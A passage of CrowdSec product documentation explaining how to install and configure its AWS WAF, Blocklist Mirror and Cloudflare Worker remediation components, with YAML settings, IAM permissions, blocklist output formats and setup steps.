for all the ipsets the component will create. One ipset will be created per 10k IPs, and will be automatically deleted if it becomes empty. Differents ipsets are used for ban and captcha. warning All ipsets are deleted on shutdown. ### `aws_profile`[โ€‹](#aws_profile "Direct link to aws_profile") > string > Environment variable: `BOUNCER_WAF_CONFIG_X_AWS_PROFILE` Name of the AWS profile (defined in \~/.aws/config) to use. ### `ip_header`[โ€‹](#ip_header "Direct link to ip_header") > string > Environment variable: `BOUNCER_WAF_CONFIG_X_IP_HEADER` Name of the header to use to get the source IP. If not defined, the actual source IP will be used. The request will be allowed if the header is not present or contains no valid IP. ### `ip_header_position`[โ€‹](#ip_header_position "Direct link to ip_header_position") > `FIRST`, `LAST`, `ANY` > Environment variable: `BOUNCER_WAF_CONFIG_X_IP_HEADER_POSITION` If the header used to get the source IP is a comma-separated list, this parameter can be used to specify which part of the list should be used. Required when `ip_header` is defined. ### `capacity`[โ€‹](#capacity "Direct link to capacity") > int > Environment variable: `BOUNCER_WAF_CONFIG_X_CAPACITY` Capacity of the rule group created by the component. If not set, default to 300 (this value is way higher than it needs to be, but this prevents any kind of issue regarding capacity of the rule group). For reference, a simple match on a IP with no custom header will cost 1 WCU per IPSet created by the bouncer, or 5 WCU if you are getting the source IP from a header. See [AWS WAF documentation](https://docs.aws.amazon.com/waf/latest/developerguide/how-aws-waf-works.html#aws-waf-capacity-units) for more information. ### `cloudwatch_enabled`[โ€‹](#cloudwatch_enabled "Direct link to cloudwatch_enabled") > boolean > Environment variable: `BOUNCER_WAF_CONFIG_X_CLOUDWATCH_ENABLED` Whether or not AWS WAF will send metrics to CloudWatch for the rule group. ### `cloudwatch_metric_name`[โ€‹](#cloudwatch_metric_name "Direct link to cloudwatch_metric_name") > string > Environment variable: `BOUNCER_WAF_CONFIG_X_CLOUDWATCH_METRIC_NAME` Name of the cloudwatch metric. Default to the rule group name. ### `sample_requests`[โ€‹](#sample_requests "Direct link to sample_requests") > boolean > Environment variable: `BOUNCER_WAF_CONFIG_X_SAMPLE_REQUESTS` Whether or not to sample requests from the rule groups created by the component. ### `remove_sets_on_start`[โ€‹](#remove_sets_on_start "Direct link to remove_sets_on_start") > boolean > Environment variable: `BOUNCER_WAF_CONFIG_X_CLEAN_ON_START` Whether or not to remove any sets matching the current prefix in the configuration on startup. Be careful if you are running multiple instances of the bouncer and using common prefixes, as this could lead to a bouncer deleting the other's sets. ## IAM Permissions[โ€‹](#iam-permissions "Direct link to IAM Permissions") Because the component needs to interact with AWS resources, it need the proper permissions. Here is the set of required permissions: JSONCOPY ``` { "Statement": [ { "Action": [ "wafv2:UpdateWebACL", "wafv2:UpdateRuleGroup", "wafv2:UpdateIPSet", "wafv2:TagResource", "wafv2:GetWebACL", "wafv2:GetRuleGroup", "wafv2:GetIPSet", "wafv2:DeleteRuleGroup", "wafv2:DeleteIPSet", "wafv2:CreateRuleGroup", "wafv2:CreateIPSet" ], "Effect": "Allow", "Resource": [ "arn:aws:wafv2:*:*:global/webacl/*/*", "arn:aws:wafv2:*:*:global/rulegroup/*/*", "arn:aws:wafv2:*:*:global/managedruleset/*/*", "arn:aws:wafv2:*:*:regional/webacl/*/*", "arn:aws:wafv2:*:*:regional/rulegroup/*/*", "arn:aws:wafv2:*:*:regional/managedruleset/*/*", "arn:aws:wafv2:*:*:*/ipset/*/*" ], "Sid": "WAF1" }, { "Action": [ "wafv2:ListWebACLs", "wafv2:ListRuleGroups", "wafv2:ListIPSets" ], "Effect": "Allow", "Resource": "*", "Sid": "WAF2" } ], "Version": "2012-10-17" } ``` AWS requires the resource for `wafv2:List*` to be `*`. For the other permissions, we recommend to restrict the resources to only the WebACL the component is configured to interact with and the rule groups/ipsets the component will create. --- # Blocklist mirror ![](/img/crowdsec_http.svg) ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation-from-repositories) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) ModeStream only MetricsUnsupported MTLSSupported PrometheusSupported This Remediation Component exposes CrowdSec's active decisions via provided HTTP(S) endpoints in pre-defined formats. It can be used by network appliances which support consumption of blocklists via HTTP. ## Installation from repositories[โ€‹](#installation-from-repositories "Direct link to Installation from repositories") [Setup crowdsec repositories](https://docs.crowdsec.net/u/getting_started/installation/linux.md#repository-installation). * Debian/Ubuntu * RHEL/Centos/Fedora SHCOPY ``` sudo apt install crowdsec-blocklist-mirror ``` SHCOPY ``` sudo yum install crowdsec-blocklist-mirror ``` ## Docker / Podman:[โ€‹](#docker--podman "Direct link to Docker / Podman:") Refer to [docker hub](https://hub.docker.com/r/crowdsecurity/blocklist-mirror) ## Manual[โ€‹](#manual "Direct link to Manual") ### installation via script[โ€‹](#installation-via-script "Direct link to installation via script") First, download the latest [`crowdsec-blocklist-mirror` release](https://github.com/crowdsecurity/cs-blocklist-mirror/releases). SHCOPY ``` tar xzvf crowdsec-blocklist-mirror.tgz sudo ./install.sh ``` ### From source[โ€‹](#from-source "Direct link to From source") Run the following commands: SHCOPY ``` git clone https://github.com/crowdsecurity/cs-blocklist-mirror.git cd cs-blocklist-mirror/ make release cd crowdsec-blocklist-mirror-v*/ sudo ./install.sh ``` ### Configuration[โ€‹](#configuration "Direct link to Configuration") For manual installations before starting the `crowdsec-blocklist-mirror` service, please edit the configuration file to add your API URL and key. The default configuration file is located under : `/etc/crowdsec/bouncers/` as file `crowdsec-blocklist-mirror.yaml`. If you need to download and restore the configuration file you can find an example on the [Repository](https://github.com/crowdsecurity/cs-blocklist-mirror/blob/main/config/crowdsec-blocklist-mirror.yaml) ## Configuration Reference[โ€‹](#configuration-reference "Direct link to Configuration Reference") ### `crowdsec_config`[โ€‹](#crowdsec_config "Direct link to crowdsec_config") Used to nest the configuration related to crowdsec. Example YAMLExampleCOPY ``` crowdsec_config: lapi_url: http://127.0.0.1:8080 lapi_key: ${LAPI_KEY} update_frequency: 10s supported_decisions_types: - ban include_scenarios_containing: - ssh - http exclude_scenarios_containing: - dns only_include_decisions_from: - crowdsec - cscli insecure_skip_verify: false listen_uri: 127.0.0.1:41412 ``` #### `lapi_url`[โ€‹](#lapi_url "Direct link to lapi_url") > string The URL of CrowdSec LAPI. It should be accessible from whichever network the component has access. #### `lapi_key`[โ€‹](#lapi_key "Direct link to lapi_key") > string It can be obtained by running the following on the machine CrowdSec LAPI is deployed on. SHCOPY ``` sudo cscli -oraw bouncers add blocklistMirror # -oraw flag can discarded for human friendly output. ``` #### `cert_path`[โ€‹](#cert_path "Direct link to cert_path") > string Path to the certificate file used to authenticate with the LAPI. #### `key_path`[โ€‹](#key_path "Direct link to key_path") > string Path to the key file used to authenticate with the LAPI. #### `ca_path_file`[โ€‹](#ca_path_file "Direct link to ca_path_file") > string Path to the CA file used to trust the LAPI certificate. #### `update_frequency`[โ€‹](#update_frequency "Direct link to update_frequency") > string (That is parseable by [time.ParseDuration](https://golang.org/pkg/time/#ParseDuration)) The component will poll the CrowdSec LAPI every `update_frequency` interval. #### `supported_decisions_types`[โ€‹](#supported_decisions_types "Direct link to supported_decisions_types") > \[ ]string Limit mirrored blocklists to specific decision types (for example `ban`, `captcha`). * Empty/missing list: no type filtering (all types). * Case-insensitive matching. #### `include_scenarios_containing`[โ€‹](#include_scenarios_containing "Direct link to include_scenarios_containing") > \[ ]string Ignore IPs banned for triggering scenarios not containing the provided words. Example YAMLExampleCOPY ``` include_scenarios_containing: - ssh - http ``` #### `exclude_scenarios_containing`[โ€‹](#exclude_scenarios_containing "Direct link to exclude_scenarios_containing") > \[ ]string Ignore IPs banned for triggering scenarios containing the provided words. Example YAMLExampleCOPY ``` exclude_scenarios_containing: - ssh - http ``` #### `only_include_decisions_from`[โ€‹](#only_include_decisions_from "Direct link to only_include_decisions_from") > \[ ]string Only include IPs banned due to decisions originating from provided sources. Example YAMLExampleCOPY ``` only_include_decisions_from: - cscli - crowdsec ``` #### `insecure_skip_verify`[โ€‹](#insecure_skip_verify "Direct link to insecure_skip_verify") > boolean Set to true to skip verifying certificate usually used for self-signed certificates. #### `listen_uri`[โ€‹](#listen_uri "Direct link to listen_uri") > string (`:`) The bindable address and port for the component to listen on Example YAMLExampleCOPY ``` listen_uri: "127.0.0.1:41412" ``` ### `metrics`[โ€‹](#metrics "Direct link to metrics") Prometheus metrics Example YAMLExampleCOPY ``` metrics: enabled: true endpoint: /metrics ``` #### `enabled`[โ€‹](#enabled "Direct link to enabled") > boolean Set to true to enable serving and collecting metrics. #### `endpoint`[โ€‹](#endpoint "Direct link to endpoint") > string The URI endpoint to serve the metrics on. ### `blocklists`[โ€‹](#blocklists "Direct link to blocklists") > \[ ][BlockListConfig](https://github.com/crowdsecurity/cs-blocklist-mirror/blob/dc326b759d2671b803c2882500a3df5da2474bf4/pkg/cfg/config.go#L36-L46) List of blocklists to serve. Each blocklist has the following configuration. Example YAMLExampleCOPY ``` blocklists: - format: plain_text aggregate: true endpoint: /security.txt authentication: type: none ``` #### `format`[โ€‹](#format "Direct link to format") > string Format of the blocklist. See the supported values and examples in the [Formats](#formats) section. #### `aggregate`[โ€‹](#aggregate "Direct link to aggregate") > boolean When enabled, aggregate decisions into CIDR ranges to reduce the size of the served blocklist. This changes the output to CIDR ranges (including `/32` and `/128` for single IPs) and makes per-decision metadata unavailable, so runtime filters that rely on such metadata (for example `?origin=`) are not compatible. #### `endpoint`[โ€‹](#endpoint-1 "Direct link to endpoint-1") > string The URI endpoint to serve the blocklist on. #### `authentication`[โ€‹](#authentication "Direct link to authentication") Configuration used to enforce or bypass authentication on the blocklist. ##### `type`:[โ€‹](#type "Direct link to type") > `none` | `basic` | `ip_based` The type of authentication to impose: * `none` : No authentication required. * `basic` : Basic authentication required. * `ip_based` : IP based authentication required. ##### `user`[โ€‹](#user "Direct link to user") > string Valid username if using `basic` type. ##### `password`:[โ€‹](#password "Direct link to password") > string Password for the provided user and using `basic` authentication. ##### `trusted_ips`:[โ€‹](#trusted_ips "Direct link to trusted_ips") > \[ ]string List of valid IPv4 and IPv6 IPs and ranges which have access to blocklist. It's only applicable when authentication `type` is `ip_based`. ### `tls`[โ€‹](#tls "Direct link to tls") TLS Configuration is utilized to activate HTTPS on the mirror server. Example YAMLExampleCOPY ``` tls: cert_file: /etc/ssl/certs/blocklist-mirror.pem key_file: /etc/ssl/private/blocklist-mirror-key.pem ``` #### `cert_file`:[โ€‹](#cert_file "Direct link to cert_file") > string Path to certificate to use if TLS is to be enabled on the mirror server. #### `key_file`:[โ€‹](#key_file "Direct link to key_file") > string Path to certificate key file. ## Global runtime query parameters[โ€‹](#global-runtime-query-parameters "Direct link to Global runtime query parameters") `?ipv4only` - Only return IPv4 addresses Example usage TEXTCOPY ``` http://localhost:41412/security/blocklist?ipv4only ``` `?ipv6only` - Only return IPv6 addresses Example usage TEXTCOPY ``` http://localhost:41412/security/blocklist?ipv6only ``` `?nosort` - Do not sort IPs > Only use if you do not care about the sorting of the list, can result in better performance. Example usage TEXTCOPY ``` http://localhost:41412/security/blocklist?nosort ``` `?origin=` - Only return IPs by origin Not compatible with `aggregate: true` (aggregation canโ€™t preserve the original decision origin). Example usage TEXTCOPY ``` http://localhost:41412/security/blocklist?origin=cscli ``` `?supported_decisions_types=` - Override decision type filtering for this request Accepts a comma-separated list or repeated query parameters: TEXTCOPY ``` /security/blocklist?supported_decisions_types=ban,captcha /security/blocklist?supported_decisions_types=ban&supported_decisions_types=captcha ``` If omitted, the YAML value applies. To include all types, omit the parameter and leave the YAML list empty. You can then start the service via: SHCOPY ``` sudo systemctl start crowdsec-blocklist-mirror ``` If you need to make changes to the configuration file and be sure they will never be modified or reverted by package upgrades, starting from v0.0.2 you can write them in a `crowdsec-blocklist-mirror.yaml.local` file as described in [Overriding values](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration#overriding-values). Package upgrades may have good reasons to modify the configuration, so be careful if you use a `.local` file. ## Formats[โ€‹](#formats "Direct link to Formats") The component can expose the blocklist in the following formats. You can configure the format of the blocklist by setting it's `format` parameter to any of the supported formats described below. ### plain\_text[โ€‹](#plain_text "Direct link to plain_text") Example: TEXTCOPY ``` 192.168.1.1 192.168.1.2 ``` ### mikrotik[โ€‹](#mikrotik "Direct link to mikrotik") Generates a MikroTik Script that the device can execute to populate the specified firewall address list. #### MikroTik query parameters[โ€‹](#mikrotik-query-parameters "Direct link to MikroTik query parameters") | Parameter | Description | | -------------- | ------------------------------------------------------------------------ | | `listname=foo` | Set the list name to `foo`. By default, `listname` is set to `CrowdSec`. | Example output: SHCOPY ``` /ip/firewall/address-list/remove [ find where list="foo" ]; :global CrowdSecAddIP; :set CrowdSecAddIP do={ :do { /ip/firewall/address-list/add list=foo address=$1 comment="$2" timeout=$3; } on-error={ } } $CrowdSecAddIP 1.2.3.4 "ssh-bf" 152h40m24s $CrowdSecAddIP 4.3.2.1 "postfix-spam" 166h40m25s $CrowdSecAddIP 2001:470:1:c84::17 "ssh-bf" 165h13m42s ``` #### Example: MikroTik import script[โ€‹](#example-mikrotik-import-script "Direct link to Example: MikroTik import script") Using on device [MikroTik scripting](https://help.mikrotik.com/docs/display/ROS/Scripting) following is a starting point to download and import the blocklist. Ensure to adjust the [global query parameters](#global-runtime-query-parameters) according to your needs! SHCOPY ``` :local name "[crowdsec]" :local url "http://:41412/security/blocklist?ipv4only&nosort" :local fileName "blocklist.rsc" :log info "$name fetch blocklist from $url" /tool fetch url="$url" mode=http dst-path=$fileName :if ([:len [/file find name=$fileName]] > 0) do={ :log info "$name import;start" /import file-name=$fileName :log info "$name import:done" } else={ :log error "$name failed to fetch the blocklist" } ``` ### F5[โ€‹](#f5 "Direct link to F5") Example: TEXTCOPY ``` 192.168.1.1,32,bl,ssh-slow-bf 192.168.1.2,32,bl,ssh-slow-bf ``` ### Juniper[โ€‹](#juniper "Direct link to Juniper") Generates a .txt file with all IP addresses (single host and subnets) in the CIDR notation format supported by the Juniper Networks SRX firewall platform. Example: TEXTCOPY ``` 1.2.3.4/32 4.3.2.1/32 ``` #### SRX Dynamic Address configuration sample[โ€‹](#srx-dynamic-address-configuration-sample "Direct link to SRX Dynamic Address configuration sample") Using the blocklist on a Juniper SRX requires that the published URL ends in `.txt`. This can be achieved by altering the endpoint config in `cfg.yaml` as follows: Sample `cfg.yaml`: YAMLCOPY ``` blocklists: - format: juniper endpoint: /security/blocklist.txt # Must end with `.txt` for the Juniper formatter. authentication: type: none ``` This can then be configured on the SRX firewall as follows: Sample SRX config: TESTCOPY ``` user@srx> show configuration security dynamic-address | display set set security dynamic-address feed-server crowdsec url http://192.168.1.2:41412 set security dynamic-address feed-server crowdsec update-interval 30 set security dynamic-address feed-server crowdsec feed-name crowdsec path /security/blocklist.txt set security dynamic-address address-name crowdsec-blocklist profile feed-name crowdsec ``` [Further information here](https://www.juniper.net/documentation/us/en/software/junos/cli-reference/topics/ref/statement/dynamic-address.html) A successful configuration should return a similar result when queried: TEXTCOPY ``` user@srx> show security dynamic-address summary Dynamic-address session scan status : Disable Hold-interval for dynamic-address session scan : 10 seconds Server Name : crowdsec Hostname/IP : http://192.168.1.2:41412 Update interval : 30 Hold interval : 86400 TLS Profile Name : --- User Name : --- Feed Name : crowdsec Mapped dynamic address name : crowdsec-blocklist URL : http://192.168.1.2:41412/security/blocklist.txt Feed update interval : 30 Feed hold interval :86400 Total update : 16310 Total IPv4 entries : 16240 Total IPv6 entries : 0 ``` --- # CrowdSec Cloudflare Worker Bouncer ![](/img/crowdsec_cloudfare.svg) ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#overview) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) tip We recommend using the **Self-Hosted Installer** setup method for most users. It is simpler to install and maintain.
For comparative details, see the [Setup Methods](#setup-methods) section below. Jump directly to the Setup section for your preferred method:
[Self-Hosted Installer](#self-hosted-setup) ***(Recommended)***
[CLI Bouncer Daemon](#cli-bouncer-setup) tip Direct link to generate the necessary Cloudflare token needed for this bouncer: [Cloudflare API Token](https://dash.cloudflare.com/profile/api-tokens?permissionGroupKeys=%5B%7B%22key%22%3A%22account_settings%22%2C%22type%22%3A%22read%22%7D%2C%7B%22key%22%3A%22challenge_widgets%22%2C%22type%22%3A%22edit%22%7D%2C%7B%22key%22%3A%22user_details%22%2C%22type%22%3A%22read%22%7D%2C%7B%22key%22%3A%22workers_kv_storage%22%2C%22type%22%3A%22edit%22%7D%2C%7B%22key%22%3A%22workers_routes%22%2C%22type%22%3A%22edit%22%7D%2C%7B%22key%22%3A%22workers_scripts%22%2C%22type%22%3A%22edit%22%7D%2C%7B%22key%22%3A%22zone%22%2C%22type%22%3A%22read%22%7D%2C%7B%22key%22%3A%22dns%22%2C%22type%22%3A%22read%22%7D%2C%7B%22key%22%3A%22account_analytics%22%2C%22type%22%3A%22read%22%7D%5D\&name=) ## Overview[โ€‹](#overview "Direct link to Overview") This **Remediation Component** uses **Cloudflare Workers** to block or challenge incoming traffic on your Cloudflare zones. **How it works:** * A list of IPs to remediate *(aka decisions)* is stored in a **Cloudflare KV store**, each IP associated with an action, either: * **Ban** (hard block with a custom HTML page) * **Captcha** (Cloudflare turnstile challenge) * This list is kept up to date either by: * A **Sync Worker** that periodically fetches decisions from CrowdSec. * An installed bouncer script that pushes decisions to the KV store via Cloudflare's API. **There are two ways to deploy this bouncer:** * A fully **Self-Hosted** version with a browser-based Install\&Config GUI ***(recommended)*** * A daemon **CLI Bouncer** running beside your Security Engine or as a standalone process. **Where do the IPs come from?** The source of those decisions * A **[Blocklist Integration Endpoint](https://docs.crowdsec.net/u/integrations/remediationcomponent.md)**: a URL served by CrowdSec, no infrastructure required on your side. This is the simplest option. * A **[Security Engine](https://docs.crowdsec.net/u/bouncers/intro.md)** you run in your own infrastructure: the Sync Worker connects to your LAPI to pull decisions directly. warning This Remediation Component relies on Cloudflare Workers and the KV store. It works best on a paid Workers subscription. See [Appendix: Cloudflare Free Plan](#appendix-test-with-cloudflare-free-plan) for details. ## Setup Methods[โ€‹](#setup-methods "Direct link to Setup Methods") There are two ways to deploy this bouncer. Both end up with the **same Remediation Worker** and **Sync Worker(\*)** running inside your Cloudflare account. * [Self-Hosted Installer](#self-hosted-setup) ***(Recommended)*** * **Best For:** Blocklist Integration setups, minimal footprint, no server to maintain. * **Setup:** WebUI, no YAML files, no daemon. * [CLI Bouncer Daemon](#cli-bouncer-setup) * **Best For:** Security Engine setups, Prometheus metrics, advanced/IAC configuration (multiple instances, custom resource names). * **Setup:** YAML config file, command-line flags, runs as a daemon or one-shot process. Here's a quick comparative overview: | | Self-Hosted Installer | CLI Bouncer Daemon | | ---------------------------- | ------------------------------------------------- | ------------------------------------------------- | | **Initial install** | Github Cloudflare integration | Host-based package install | | **Setup** | WebUI | config.yaml auto generation and manual edits | | **Decision source** | CrowdSec Blocklist Integration or Security Engine | CrowdSec Blocklist Integration or Security Engine | | **Decision sync** | Sync Worker | Bouncer daemon or possibility to use Sync Worker | | **Metrics** | Cloudflare Analytics Engine Queries | Prometheus metrics & pushed to CrowdSec Console | | **Auth to decisions source** | Basic Auth | Basic Auth or MTLS | warning After installation, configure the [Worker Route Fail Mode](#setting-up-the-worker-route-fail-mode) to FAIL OPEN to avoid service outages if the worker encounters errors or Cloudflare plan quota overruns. ## Cloudflare API Token[โ€‹](#cloudflare-api-token "Direct link to Cloudflare API Token") Both setup methods require a Cloudflare **user** API token with the following permissions. Click [**๐Ÿ”‘ this link**](https://dash.cloudflare.com/profile/api-tokens?permissionGroupKeys=%5B%7B%22key%22%3A%22account_settings%22%2C%22type%22%3A%22read%22%7D%2C%7B%22key%22%3A%22challenge_widgets%22%2C%22type%22%3A%22edit%22%7D%2C%7B%22key%22%3A%22user_details%22%2C%22type%22%3A%22read%22%7D%2C%7B%22key%22%3A%22workers_kv_storage%22%2C%22type%22%3A%22edit%22%7D%2C%7B%22key%22%3A%22workers_routes%22%2C%22type%22%3A%22edit%22%7D%2C%7B%22key%22%3A%22workers_scripts%22%2C%22type%22%3A%22edit%22%7D%2C%7B%22key%22%3A%22zone%22%2C%22type%22%3A%22read%22%7D%2C%7B%22key%22%3A%22dns%22%2C%22type%22%3A%22read%22%7D%2C%7B%22key%22%3A%22account_analytics%22%2C%22type%22%3A%22read%22%7D%5D\&name=) to open the Cloudflare token creation page with the required permissions pre-selected, or create one manually at [Tokens](https://dash.cloudflare.com/profile/api-tokens) with: | Permission Group | Item | Permission | | ---------------- | ------------------ | ---------- | | Account | Turnstile | Edit | | Account | Workers KV Storage | Edit | | Account | Workers Scripts | Edit | | Account | Account Settings | Read | | Account | Account Analytics | Read | | User | User Details | Read | | Zone | DNS | Read | | Zone | Workers Routes | Edit | | Zone | Zone | Read | info By default the token is scoped to all accounts and zones you have access to. We recommend scoping it only to the accounts and zones you intend to protect. warning Each configured zone must have at least one `A` or `AAAA` DNS record. Zones with only `CNAME` records should be excluded from the scope โ€” the bouncer tries to ignore them automatically, but failure to do so may result in higher KV storage charges. *** ## Self-Hosted Setup[โ€‹](#self-hosted-setup "Direct link to Self-Hosted Setup") The self-hosted setup uses a Cloudflare github integration to deploy a worker acting as the central install and configuration GUI for the Cloudflare bouncer elements. The steps are: * [Deploying the Installer Worker](#deploy-the-installer) to your Cloudflare account via GitHub or Gitlab * One time action * The installer will update automatically when the repository is updated * [Installing the bouncer and binding your zones via the Installer GUI](#configure-via-the-installer-ui) * Easy One click or batch actions on you select zones * Easy install/cleanup process Everything runs inside Cloudflare. No server, no daemon, no YAML files. ### Deploy the Installer[โ€‹](#deploy-the-installer "Direct link to Deploy the Installer") Click the button below to clone the installer into your GitHub or GitLab account and deploy it as a Cloudflare Worker: [![Deploy to Cloudflare](https://deploy.workers.cloudflare.com/button)](https://deploy.workers.cloudflare.com/?url=https://github.com/crowdsecurity/cs-cloudflare-worker-bouncer-install) note The Cloudflare deploy flow copies the repository into your GitHub or GitLab account before deploying โ€” you need an account on one of these platforms.
To update the copied repo when a new version is released check the [Update install version](#update-install-version) section below. Once deployed the Installer Worker will appear in the Workers & Pages section of your Cloudflare dashboard.
Cloudflare gives you the URL of your Installer Worker. Open it to reach the installer GUI. ![Install Worker](/assets/images/cf-installer-worker-preview-ebc830d7b6564d8895379421f1cef2fc.png) ### Configure via the Installer UI[โ€‹](#configure-via-the-installer-ui "Direct link to Configure via the Installer UI") Click on your Installer Worker URL to open the installer GUI.
The UI is a three-step wizard. Work through each section top to bottom. ![Installer UI](/assets/images/cf-installer-init-bbb0e51e5c2e4496e8424b1a41c6b172.png) *** #### Step 1 โ€” Cloudflare API Token[โ€‹](#step-1--cloudflare-api-token "Direct link to Step 1 โ€” Cloudflare API Token") info The Installer never stores your API token or credentials. They are held only in your browser session. *If you don't have a token yet, click **Create token โ†—** in the UI. (see [Cloudflare API Token](#cloudflare-api-token) above for the permission list).* Paste your Cloudflare API token. The installer **validates** it immediately and confirms all required permissions are present.
Upon validation, the installer fetches a list of all zones in your account and their current protection status. In the following step, you can then select which zones to protect. ![Valid Token Lists Zones](/assets/images/cf-installer-init-valid-token-ba880611bd027e1f5c333da02e8390b6.png) *** #### Step 2 โ€” CrowdSec Integration Endpoint[โ€‹](#step-2--crowdsec-integration-endpoint "Direct link to Step 2 โ€” CrowdSec Integration Endpoint") Paste the URL of your CrowdSec decision source: * **Blocklist Integration Endpoint** โ€” from the CrowdSec Console under your [Remediation Component integration](https://docs.crowdsec.net/u/integrations/remediationcomponent.md). * **Security Engine LAPI URL** โ€” the URL of your self-hosted LAPI, reachable from Cloudflare's network. And [API key generated for the bouncer](https://docs.crowdsec.net/u/bouncers/intro.md#generate-an-api-key-for-your-bouncer). If you had a previous installation, the installer will pre-fill the field with the currently saved endpoint.
You can edit it to change the endpoint without reinstalling by clicking **edit** and then **update now**. ![Decisions Endpoint Info](/assets/images/cf-installer-decisions-endpoint-info-02475400b67dccc1dc5a7a616d145d39.png) ![Decisions Endpoint Edit](/assets/images/cf-installer-decisions-endpoint-edit-1cc85a22988396d798c7504e6d1c74ef.png) *** #### Step 3 โ€” Zone Protection[โ€‹](#step-3--zone-protection "Direct link to Step 3 โ€” Zone Protection") This section lists every zone in your Cloudflare account with its current status. **Installing a zone:** You can install/uninstall individual zones or select multiple zones for batch install/uninstall. ![Zone Install](/assets/images/cf-installer-zone-bind-b8e28f3f599d512da5d9cd42fb541dcb.png) **Turnstile (CAPTCHA):** On installed zones you can activate the ability to have CAPTCHA decisions handled.
Toggle **Supports CAPTCHA** on a zone enable a style of Turnstile for it (managed, non-interactive, invisible). Protected zones with Turnstile show a **SUPPORTS CAPTCHA** badge. You can toggle it on or off after installation as well. ![Captcha settings](/assets/images/cf-installer-set-captcha-ec84cd503fb11816b72c30643dff6641.png) **Removing a zone:** Click **Remove** next to a protected zone to unbind the Remediation Worker from that zone and delete its Turnstile widget. The shared KV namespace and worker scripts remain in place for other protected zones. **Cleaning up all infrastructure:** Click **Uninstall all** to remove all bouncer infrastructure at once: unbind all zones, delete the shared KV namespace, and remove the worker scripts.
The installer will prompt for confirmation before proceeding. *The uninstall all also removes infrastructure components from older versions of the cloudflare bouncer (D1 database)* ### Update install version[โ€‹](#update-install-version "Direct link to Update install version") Cloudflare does not provide a built-in mechanism to sync a forked repository with its upstream. To update your deployed installer to the latest version, sync your fork manually and push โ€” Cloudflare will redeploy automatically. **First time only:** clone your fork locally and add the upstream remote. SHCOPY ``` git clone https://github.com/YOUR_ACCOUNT/cs-cloudflare-worker-bouncer-install.git cd cs-cloudflare-worker-bouncer-install git remote add upstream https://github.com/crowdsecurity/cs-cloudflare-worker-bouncer-install.git ``` **Each update:** SHCOPY ``` git fetch upstream git merge upstream/main git push origin main ``` Pushing to `main` on your fork triggers a Cloudflare redeploy automatically. note If the merge fails because you have local modifications to the fork, you can force-push instead โ€” but this will overwrite any local changes you made: SHCOPY ``` git push --force origin main ``` *** ## CLI Bouncer Setup[โ€‹](#cli-bouncer-setup "Direct link to CLI Bouncer Setup") The CLI bouncer is a Go binary (`crowdsec-cloudflare-worker-bouncer`) that manages Cloudflare infrastructure from the command line using a YAML configuration file. It supports two modes: * **Daemon Mode** โ€” the process runs continuously, syncing decisions from your Security Engine to the KV store on a regular interval. Workers and KV are cleaned up automatically when the daemon stops. * **Autonomous Mode** โ€” the process deploys the Sync and Remediation Workers once and exits. All subsequent decision syncing is handled by the Sync Worker inside Cloudflare on a cron schedule. ### Installing the CLI Bouncer[โ€‹](#installing-the-cli-bouncer "Direct link to Installing the CLI Bouncer") #### From CrowdSec Repositories[โ€‹](#from-crowdsec-repositories "Direct link to From CrowdSec Repositories") Packages for `crowdsec-cloudflare-worker-bouncer` are [available on our repositories](https://docs.crowdsec.net/u/getting_started/installation/linux.md#repository-installation): * Debian/Ubuntu * RHEL/Centos/Fedora SHCOPY ``` sudo apt install crowdsec-cloudflare-worker-bouncer ``` SHCOPY ``` sudo yum install crowdsec-cloudflare-worker-bouncer ``` Then set up the bouncer: * Daemon Mode * Autonomous Mode SHCOPY ``` # Auto-generate config from your Cloudflare tokens sudo crowdsec-cloudflare-worker-bouncer -g , -o /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml # Review config and set crowdsec_config.lapi_key sudo vi /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml # Start the daemon sudo systemctl start crowdsec-cloudflare-worker-bouncer ``` SHCOPY ``` # Auto-generate config from your Cloudflare tokens sudo crowdsec-cloudflare-worker-bouncer -g , -o /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml # Review config and set crowdsec_config.lapi_key sudo vi /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml # Deploy workers to Cloudflare and exit โ€” no daemon needed sudo crowdsec-cloudflare-worker-bouncer -S -c /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml ``` In autonomous mode the Go process deploys the configuration to Cloudflare and exits. All decision synchronization is handled by Cloudflare scheduled workers. warning Configure your origin server to emit real visitor IPs rather than Cloudflare IPs in logs, so CrowdSec can function properly. See [Restoring original visitor IPs](https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs). info If the bouncer is not installed on the same machine as LAPI, set `crowdsec_config.lapi_url` and `crowdsec_config.lapi_key` in the configuration file. note Run `sudo crowdsec-cloudflare-worker-bouncer -d` to clean up existing Cloudflare infrastructure before editing the config file. #### Manual Installation[โ€‹](#manual-installation "Direct link to Manual Installation") Download the [latest release](https://github.com/crowdsecurity/cs-cloudflare-worker-bouncer/releases). * Daemon Mode * Autonomous Mode SHCOPY ``` tar xzvf crowdsec-cloudflare-worker-bouncer.tgz cd crowdsec-cloudflare-worker-bouncer/ sudo ./install.sh sudo crowdsec-cloudflare-worker-bouncer -g , -o /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml sudo vi /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml sudo systemctl start crowdsec-cloudflare-worker-bouncer ``` SHCOPY ``` tar xzvf crowdsec-cloudflare-worker-bouncer.tgz cd crowdsec-cloudflare-worker-bouncer/ sudo ./install.sh sudo crowdsec-cloudflare-worker-bouncer -g , -o /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml sudo vi /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml sudo crowdsec-cloudflare-worker-bouncer -S -c /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml ``` #### From Source[โ€‹](#from-source "Direct link to From Source") note Requires Go >= 1.23 * Daemon Mode * Autonomous Mode SHCOPY ``` git clone 